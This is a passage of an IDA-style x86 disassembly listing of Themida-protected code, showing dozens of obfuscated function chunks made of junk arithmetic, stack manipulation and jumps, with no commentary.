; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568D9E
loc_57475F: ; CODE XREF: sub_568D9E-4298j
pop edi
push edi
push esp
pop edi
add edi, 4
add edi, 4
xchg edi, [esp+0]
jmp loc_5707DC
; END OF FUNCTION CHUNK FOR sub_568D9E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5729F9
loc_574774: ; CODE XREF: sub_5729F9-A970j
mov [esp+0Ah+var_C+2], ebx
mov bl, 8Eh
jmp loc_56436F
; END OF FUNCTION CHUNK FOR sub_5729F9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AEF2
loc_57477E: ; CODE XREF: sub_56AEF2-AEBFj
and esi, 67C07647h
shr esi, 2
jmp loc_560C91
; END OF FUNCTION CHUNK FOR sub_56AEF2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560CF1
loc_57478C: ; CODE XREF: sub_560CF1+54B8j
mov edi, [esp+8+var_8]
jmp loc_56A065
; END OF FUNCTION CHUNK FOR sub_560CF1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565B6E
loc_574794: ; CODE XREF: sub_565B6E+29j
push edi
jmp loc_5648B0
; END OF FUNCTION CHUNK FOR sub_565B6E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570E81
loc_57479A: ; CODE XREF: sub_570E81-C857j
push edx
mov edx, 9290864h
jmp loc_568D09
; END OF FUNCTION CHUNK FOR sub_570E81
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FA15
loc_5747A5: ; CODE XREF: sub_56FA15-11E9j
pop esp
xchg ebp, [esp+10h+var_10]
pop esp
jmp loc_565AF6
; END OF FUNCTION CHUNK FOR sub_56FA15
; =============== S U B R O U T I N E =======================================
sub_5747AF proc near ; DATA XREF: Themida_:0055FD70o
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0056271D SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005647E5 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00564CFB SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056624C SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00570A07 SIZE 00000006 BYTES
push 67AFh
mov [esp+4+var_4], eax
push edi
push 5DD942E6h
push [esp+0Ch+var_C]
pop edi
push esi
push 268Bh
jmp loc_5647E5
sub_5747AF endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D0B7
loc_5747CC: ; CODE XREF: sub_56D0B7+60j
push eax
push 5C30345Dh
jmp loc_561D3E
; END OF FUNCTION CHUNK FOR sub_56D0B7
; =============== S U B R O U T I N E =======================================
sub_5747D7 proc near ; CODE XREF: sub_566078+2EC9j
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 0056124A SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00562097 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0056426E SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00564566 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00564A68 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00565A40 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00568FA7 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056CB8C SIZE 0000003A BYTES
; FUNCTION CHUNK AT 0056E8F5 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0057051A SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00571A78 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005732AC SIZE 00000022 BYTES
sub esp, 4
jmp loc_564A68
sub_5747D7 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5678CB
loc_5747E2: ; CODE XREF: sub_5678CB+43B1j
xor edx, 259Eh
sub edi, 6EC3756Fh
jmp loc_562CE9
; END OF FUNCTION CHUNK FOR sub_5678CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571F6F
loc_5747F3: ; CODE XREF: sub_571F6F-78E4j
not ecx
jmp loc_567234
; END OF FUNCTION CHUNK FOR sub_571F6F
; =============== S U B R O U T I N E =======================================
sub_5747FA proc near ; DATA XREF: Themida_:0055FF30o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = word ptr 8
; FUNCTION CHUNK AT 005603F3 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056070A SIZE 00000024 BYTES
; FUNCTION CHUNK AT 00561D9D SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00568B87 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056D3FB SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056E35A SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056EAAD SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0056FE7F SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00573945 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00573F27 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 005752C4 SIZE 00000026 BYTES
mov ax, [esp-8+arg_4]
push eax
sub esp, 4
push esp
pop [esp+4+var_4]
push edx
mov edx, 4
add [esp+4], edx
pop edx
pop eax
push eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp+0]
pop esp
mov [esp-4+arg_0], ecx
jmp loc_56E35A
sub_5747FA endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CD13
loc_57482B: ; CODE XREF: sub_56CD13+74D0j
sub ebp, ecx
pop ecx
xchg ebp, [esp+0Ch+var_C]
mov esp, [esp+0Ch+var_C]
jmp loc_562DFA
; END OF FUNCTION CHUNK FOR sub_56CD13
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56671D
loc_574839: ; CODE XREF: sub_56671D+CA78j
mov cl, 98h
push eax
mov al, 0EDh
shl al, 3
jmp loc_5663A7
; END OF FUNCTION CHUNK FOR sub_56671D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563FA2
loc_574846: ; CODE XREF: sub_563FA2+563Dj
push eax
push ebx
jmp loc_5692AF
; END OF FUNCTION CHUNK FOR sub_563FA2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56657A
loc_57484D: ; CODE XREF: sub_56657A+6A11j
xor ebp, 552162DDh
xor ebp, 719813BCh
jmp loc_563CDB
; END OF FUNCTION CHUNK FOR sub_56657A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56616D
loc_57485E: ; CODE XREF: sub_56616D-9DBj
push ecx
push edx
jmp loc_56BB98
; END OF FUNCTION CHUNK FOR sub_56616D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56657A
loc_574865: ; CODE XREF: sub_56657A+ECF2j
mov [esp+0Ch+var_C], ebx
push esp
pop ebx
jmp loc_5686AE
; END OF FUNCTION CHUNK FOR sub_56657A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574304
loc_57486F: ; CODE XREF: sub_574304-C6D3j
push 20BBh
mov [esp+8+var_8], edx
push ebp
sub esp, 4
mov [esp+10h+var_10], edi
mov edi, 476B6519h
mov ebp, 2256A686h
add ebp, edi
pop edi
mov edx, ebp
pop ebp
jmp loc_56C872
; END OF FUNCTION CHUNK FOR sub_574304
; =============== S U B R O U T I N E =======================================
sub_574896 proc near ; CODE XREF: sub_56FD6F-CF95j
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_10 = dword ptr 14h
; FUNCTION CHUNK AT 005602A2 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00565DD1 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005670A0 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00567258 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00568B25 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0056D5A5 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056E16A SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00572400 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005727BD SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00572DEF SIZE 00000011 BYTES
push ebp
mov ebp, 4
jmp loc_56E16A
sub_574896 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56616D
loc_5748A1: ; CODE XREF: sub_56616D-154Cj
pop edx
xor edx, ecx
mov ecx, [esp+0]
add esp, 4
shr edx, 2
jmp loc_5627B8
; END OF FUNCTION CHUNK FOR sub_56616D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FA15
loc_5748B2: ; CODE XREF: sub_56FA15-9F1Cj
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp+12h+var_14+2]
pop esp
mov [esp+0Eh+var_10+2], ecx
mov cl, 0CBh
shr cl, 1
shl cl, 4
push ebx
push esp
pop ebx
add ebx, 4
sub ebx, 4
push ebx
push [esp+16h+var_14+2]
pop ebx
pop [esp+16h+var_18+2]
pop esp
mov [esp+0Eh+var_10+2], edx
push eax
jmp loc_56502B
; END OF FUNCTION CHUNK FOR sub_56FA15
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5648C6
loc_5748ED: ; CODE XREF: sub_5648C6+265Dj
sub edi, ebp
pop ebp
add edi, 2AF26DD7h
sub edi, esi
sub edi, 2AF26DD7h
push esi
mov esi, 46381155h
push eax
mov eax, 86B5980h
jmp loc_566994
; END OF FUNCTION CHUNK FOR sub_5648C6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5745B5
loc_57490F: ; CODE XREF: sub_5745B5-48EFj
pop ecx
pop edx
mov eax, [esp+8+var_8]
add esp, 4
jmp loc_56CACE
; END OF FUNCTION CHUNK FOR sub_5745B5
; ---------------------------------------------------------------------------
loc_57491C: ; CODE XREF: Themida_:00565139j
pop edx
add ebx, 4
push ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
mov esp, [esp]
xor eax, ebx
pop ebx
push 7EFFh
mov [esp], edi
jmp loc_56072E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571C0A
loc_57493F: ; CODE XREF: sub_571C0A+1j
mov ebx, 24h
jmp loc_56EFF9
; END OF FUNCTION CHUNK FOR sub_571C0A
; =============== S U B R O U T I N E =======================================
sub_574949 proc near ; CODE XREF: sub_5754DA-8632j
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00560636 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00560B61 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00560E90 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0056101D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00562847 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00564A2D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056514F SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00565DAE SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005681AD SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00569055 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005692BF SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056DA15 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056DD5F SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056E1C6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00570024 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00570394 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00571AB4 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00571E6E SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005733E8 SIZE 00000024 BYTES
sub esp, 4
mov [esp+4+var_4], ecx
mov ch, 3Ah
push 5102h
mov [esp+8+var_8], edx
mov dh, 6Ah
jmp loc_569055
sub_574949 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56BD36
loc_574963: ; CODE XREF: sub_56BD36+9264j
add eax, esi
pop esi
sub eax, 4
xchg eax, [esp+8+var_8]
pop esp
mov [esp+4+var_4], ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
push ebp
push [esp+8+var_4]
pop ebp
pop [esp+8+var_8]
mov esp, [esp+4+var_4]
mov [esp-4+arg_0], eax
push [esp-4+arg_0]
pop esi
push 7948h
mov [esp+0], ebx
push esp
mov ebx, [esp+4+var_4]
push edx
jmp loc_5687E0
; END OF FUNCTION CHUNK FOR sub_56BD36
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561826
loc_5749A3: ; CODE XREF: sub_561826+CF2Aj
mov esp, [esp+0]
mov bx, [esp+0]
add esp, 2
xor [esp-6+arg_2], bp
xor bp, [esp-6+arg_2]
jmp loc_5656AC
; END OF FUNCTION CHUNK FOR sub_561826
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570FB7
loc_5749BA: ; CODE XREF: sub_570FB7-2C31j
push dword ptr [esp+4]
pop eax
pop [esp+4+var_4]
pop esp
; END OF FUNCTION CHUNK FOR sub_570FB7
; START OF FUNCTION CHUNK FOR sub_569193
loc_5749C3: ; CODE XREF: sub_569193+B020j
push 6A6Dh
mov [esp+4+var_4], ebx
push [esp+4+var_4]
pop eax
push 6F3Ch
mov [esp+8+var_8], ebp
mov ebp, esp
jmp loc_5642B6
; END OF FUNCTION CHUNK FOR sub_569193
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56638C
loc_5749DE: ; CODE XREF: sub_56638C-3D1Bj
add edx, 4
jmp loc_56ED81
; END OF FUNCTION CHUNK FOR sub_56638C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56BD61
loc_5749E9: ; CODE XREF: sub_56BD61+4j
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_56BD61
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569AB3
loc_5749EE: ; CODE XREF: sub_569AB3+588Bj
xchg ebp, [esp+18h+var_18]
mov esp, [esp+18h+var_18]
mov [esp-4+arg_0], eax
push edx
jmp sub_5716F1
; END OF FUNCTION CHUNK FOR sub_569AB3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569193
loc_5749FD: ; CODE XREF: sub_569193+6051j
add esp, 4
xor edx, [esp+0Ch+var_C]
jmp loc_565C6B
; END OF FUNCTION CHUNK FOR sub_569193
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563A7F
loc_574A08: ; CODE XREF: sub_563A7F+D27Bj
add bl, dl
add bl, 3
pop edx
push eax
mov al, 79h
add bl, 9Dh
jmp loc_5754E9
; END OF FUNCTION CHUNK FOR sub_563A7F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574656
loc_574A19: ; CODE XREF: sub_574656-9426j
xchg ebp, [esp+14h+var_14]
jmp loc_5717E9
; END OF FUNCTION CHUNK FOR sub_574656
; =============== S U B R O U T I N E =======================================
sub_574A21 proc near ; DATA XREF: Themida_:0055FF4Co
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0056064E SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00560F6A SIZE 00000023 BYTES
; FUNCTION CHUNK AT 005616F2 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 00561CD4 SIZE 0000005F BYTES
; FUNCTION CHUNK AT 00561ED9 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00562906 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 00562AE0 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00562FE9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005630FA SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056316A SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00563C2E SIZE 00000032 BYTES
; FUNCTION CHUNK AT 00566B94 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00566EC9 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 005675FB SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00567B2F SIZE 00000041 BYTES
; FUNCTION CHUNK AT 00567BDB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00567F78 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 00567FD8 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005682E5 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056838D SIZE 00000033 BYTES
; FUNCTION CHUNK AT 005684CA SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005688F7 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056891A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00568A91 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00568CB3 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00569247 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00569280 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00569808 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056A51B SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0056D14E SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056DB1A SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0056E5F0 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0056E730 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056ED61 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00570AA9 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 00570B2A SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005753D7 SIZE 0000000D BYTES
lodsd
push ebp
mov ebp, 6E105898h
sub eax, 682F4722h
add eax, ebp
jmp loc_567BDB
sub_574A21 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_574A34: ; CODE XREF: sub_57354D-1FE7j
xor edx, 2B143F4Ah
sub ecx, edx
pop edx
xchg ecx, [esp+8+var_8]
mov esp, [esp+8+var_8]
mov [esp+8+var_8], edx
push 10000h
jmp loc_56ED0B
; END OF FUNCTION CHUNK FOR sub_57354D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B06D
loc_574A50: ; CODE XREF: sub_56B06D-7866j
pop esp
push ebx
push 79842F9Ah
pop ebx
xor ebx, 0FFA1E02h
push eax
jmp loc_565C80
; END OF FUNCTION CHUNK FOR sub_56B06D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561418
loc_574A64: ; CODE XREF: sub_561418-126Dj
mov ecx, 0D815C13h
and ecx, 71877C32h
jmp loc_56EE46
; END OF FUNCTION CHUNK FOR sub_561418
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5685B2
loc_574A74: ; CODE XREF: sub_5685B2+313Ej
mov ebx, [esp-14h+arg_10]
add esp, 4
push 7825h
mov [esp-14h+arg_10], edx
mov edx, esp
push 68Fh
mov [esp-10h+arg_C], ebx
push 4EFF5A4Eh
pop ebx
jmp loc_563F95
; END OF FUNCTION CHUNK FOR sub_5685B2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566AF9
loc_574A9A: ; CODE XREF: sub_566AF9-6600j
sar word ptr [esp+0], cl
pushf
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_566AF9
; ---------------------------------------------------------------------------
loc_574AA4: ; CODE XREF: Themida_:0056A3A4j
or ebp, 7D835DDFh
xor ebp, 0B706AD0Ch
jmp loc_563102
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_573612
loc_574AB5: ; CODE XREF: sub_573612+7E0j
add ebx, 3C920A05h
add ebx, eax
sub ebx, 3C920A05h
sub esp, 4
mov [esp+0Ch+var_C], edi
push esi
jmp loc_572FFF
; END OF FUNCTION CHUNK FOR sub_573612
; ---------------------------------------------------------------------------
loc_574ACF: ; CODE XREF: Themida_:0056313Cj
mov edx, esp
jmp loc_575394
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574304
loc_574AD6: ; CODE XREF: sub_574304-6A5Dj
sub ecx, 0B175EA86h
sub ebp, ecx
pop ecx
add edx, ebp
jmp loc_564AB3
; END OF FUNCTION CHUNK FOR sub_574304
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56241E
loc_574AE6: ; CODE XREF: sub_56241E+5j
push edx
push ebx
push small 4D09h
pop bx
jmp loc_561460
; END OF FUNCTION CHUNK FOR sub_56241E
; =============== S U B R O U T I N E =======================================
sub_574AF3 proc near ; DATA XREF: Themida_:0055FDFCo
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 005621C0 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005635AE SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00566A84 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00567037 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0056812B SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00568B93 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 0056914F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056AF63 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00570834 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00572AA0 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00572BF7 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0057425F SIZE 00000010 BYTES
push dword ptr [esp+0]
mov ecx, [esp+4+var_4]
push eax
jmp loc_566A84
sub_574AF3 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56616D
loc_574AFF: ; CODE XREF: sub_56616D+8656j
add ebp, 4
jmp sub_570E27
; END OF FUNCTION CHUNK FOR sub_56616D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570732
loc_574B0A: ; CODE XREF: sub_570732-83CAj
push ecx
mov ecx, 2A7A4985h
jmp loc_573CCD
; END OF FUNCTION CHUNK FOR sub_570732
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564D26
loc_574B15: ; CODE XREF: sub_564D26+838Cj
mov edi, 7481647Bh
add ebp, edi
jmp loc_56DC75
; END OF FUNCTION CHUNK FOR sub_564D26
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5678CB
loc_574B21: ; CODE XREF: sub_5678CB+834Ej
or ebx, 13AA230Dh
push edx
mov edx, 3D52457Ah
xor ebx, edx
pop edx
or edx, ebx
pop ebx
shr edx, 6
add edx, 0FEA40B49h
add ebx, edx
pop edx
push edi
mov edi, 2
add ebx, edi
pop edi
xchg ebx, [esp+0Eh+var_E]
jmp loc_5743A7
; END OF FUNCTION CHUNK FOR sub_5678CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574F16
loc_574B50: ; CODE XREF: sub_574F16-357j
push ecx
sub esp, 4
mov [esp+0Ch+var_E+2], edx
push ebx
mov bl, al
jmp loc_5657BB
; ---------------------------------------------------------------------------
loc_574B62: ; CODE XREF: sub_574F16-4A9Aj
xchg eax, [esp+0Ah+var_A]
pop esp
xor ch, bh
mov ebx, [esp+6+var_6]
jmp loc_56A1EE
; END OF FUNCTION CHUNK FOR sub_574F16
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5690E8
loc_574B70: ; CODE XREF: sub_5690E8-714j
xor [esp+8+var_8], eax
xor eax, [esp+8+var_8]
mov esp, [esp+8+var_8]
movsx cx, al
push small 2E51h
mov [esp+0], cx
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_5690E8
; =============== S U B R O U T I N E =======================================
sub_574B8A proc near ; CODE XREF: sub_56D0B7+46D6j
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 0056AFD5 SIZE 0000001D BYTES
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp+4+var_4]
jmp loc_56AFD5
sub_574B8A endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574F16
loc_574B9E: ; CODE XREF: sub_574F16-10B5j
xor bl, al
sub esp, 4
mov [esp+4+var_6+2], edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp+4+var_6+2]
pop esp
mov [esp+0], ecx
push ebx
jmp loc_574B50
; END OF FUNCTION CHUNK FOR sub_574F16
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571088
loc_574BC4: ; CODE XREF: sub_571088-AAD8j
push esi
jmp loc_573150
; END OF FUNCTION CHUNK FOR sub_571088
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5666C3
loc_574BCA: ; CODE XREF: sub_5666C3+12C7j
xor ecx, 662FD1ACh
sub eax, ecx
jmp loc_562F52
; END OF FUNCTION CHUNK FOR sub_5666C3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567CF5
loc_574BD7: ; CODE XREF: sub_567CF5+745Cj
pop esp
shl byte ptr [esp-4+arg_0], cl
pushf
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_567CF5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571C0A
loc_574BE1: ; CODE XREF: sub_571C0A-C257j
sub ebx, ebp
pop ebp
add esi, ebx
pop ebx
xchg esi, [esp+0]
pop esp
; END OF FUNCTION CHUNK FOR sub_571C0A
; START OF FUNCTION CHUNK FOR sub_567D31
loc_574BEB: ; CODE XREF: sub_567D31-21ECj
push 635Ch
jmp loc_569A44
; END OF FUNCTION CHUNK FOR sub_567D31
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561C21
loc_574BF5: ; CODE XREF: sub_561C21+1353Aj
xor ch, 8
shl ch, 4
shl ch, 6
jmp loc_56EC45
; END OF FUNCTION CHUNK FOR sub_561C21
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567049
loc_574C03: ; CODE XREF: sub_567049-431Ej
pop edx
add ebp, 4
xor ebp, [esp+0]
xor [esp+0], ebp
xor ebp, [esp+0]
mov esp, [esp+0]
pop [esp-0Ch+arg_4]
sub esp, 4
mov [esp-0Ch+arg_4], ebp
push 1391h
mov [esp-8+arg_0], ebx
pop ebp
push [esp-0Ch+arg_4]
pop ebx
push esi
mov esi, esp
add esi, 4
jmp loc_560C7C
; END OF FUNCTION CHUNK FOR sub_567049
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564D26
loc_574C3A: ; CODE XREF: sub_564D26+F8D3j
xor edx, [esp+0]
jmp loc_56A54A
; END OF FUNCTION CHUNK FOR sub_564D26
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571088
loc_574C42: ; CODE XREF: sub_571088-EDFCj
add esi, 4
sub esi, 4
xchg esi, [esp+0Ch+var_E+2]
pop esp
mov [esp+8+var_8], edx
mov dh, 66h
shr dh, 4
push 4D5Ch
mov [esp+0Ch+var_E+2], ebx
jmp loc_565ECF
; END OF FUNCTION CHUNK FOR sub_571088
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56A423
loc_574C67: ; CODE XREF: sub_56A423-864Cj
pop esi
jmp loc_56C95D
; END OF FUNCTION CHUNK FOR sub_56A423
; =============== S U B R O U T I N E =======================================
sub_574C6D proc near ; CODE XREF: sub_5683C0+272Dj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 005634BF SIZE 0000002A BYTES
; FUNCTION CHUNK AT 0056AD1A SIZE 00000014 BYTES
push ebx
mov ebx, 0F14224Eh
jmp loc_5634BF
sub_574C6D endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561418
loc_574C78: ; CODE XREF: sub_561418+1464j
pop esi
push ebx
mov ebx, 4
add esi, 30C3134Ah
add esi, ebx
jmp loc_56CA11
; END OF FUNCTION CHUNK FOR sub_561418
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563A7F
loc_574C8C: ; CODE XREF: sub_563A7F+7DD5j
mov ebx, [esp+0Ah+var_C+2]
add esp, 4
not ebx
add ebx, 8C35B234h
mov ecx, ebx
mov ebx, [esp+6+var_8+2]
push ebx
jmp loc_565E64
; END OF FUNCTION CHUNK FOR sub_563A7F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B310
loc_574CA8: ; CODE XREF: sub_56B310+15j
push edi
mov edi, 1A382947h
xor ebp, edi
pop edi
mov eax, ebp
mov ebp, [esp+4+var_4]
add esp, 4
jmp loc_567AD4
; END OF FUNCTION CHUNK FOR sub_56B310
; =============== S U B R O U T I N E =======================================
sub_574CBE proc near ; DATA XREF: Themida_:0055FE28o
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 005636EC SIZE 00000028 BYTES
; FUNCTION CHUNK AT 00563E57 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00564842 SIZE 00000052 BYTES
; FUNCTION CHUNK AT 00564CC0 SIZE 0000001A BYTES
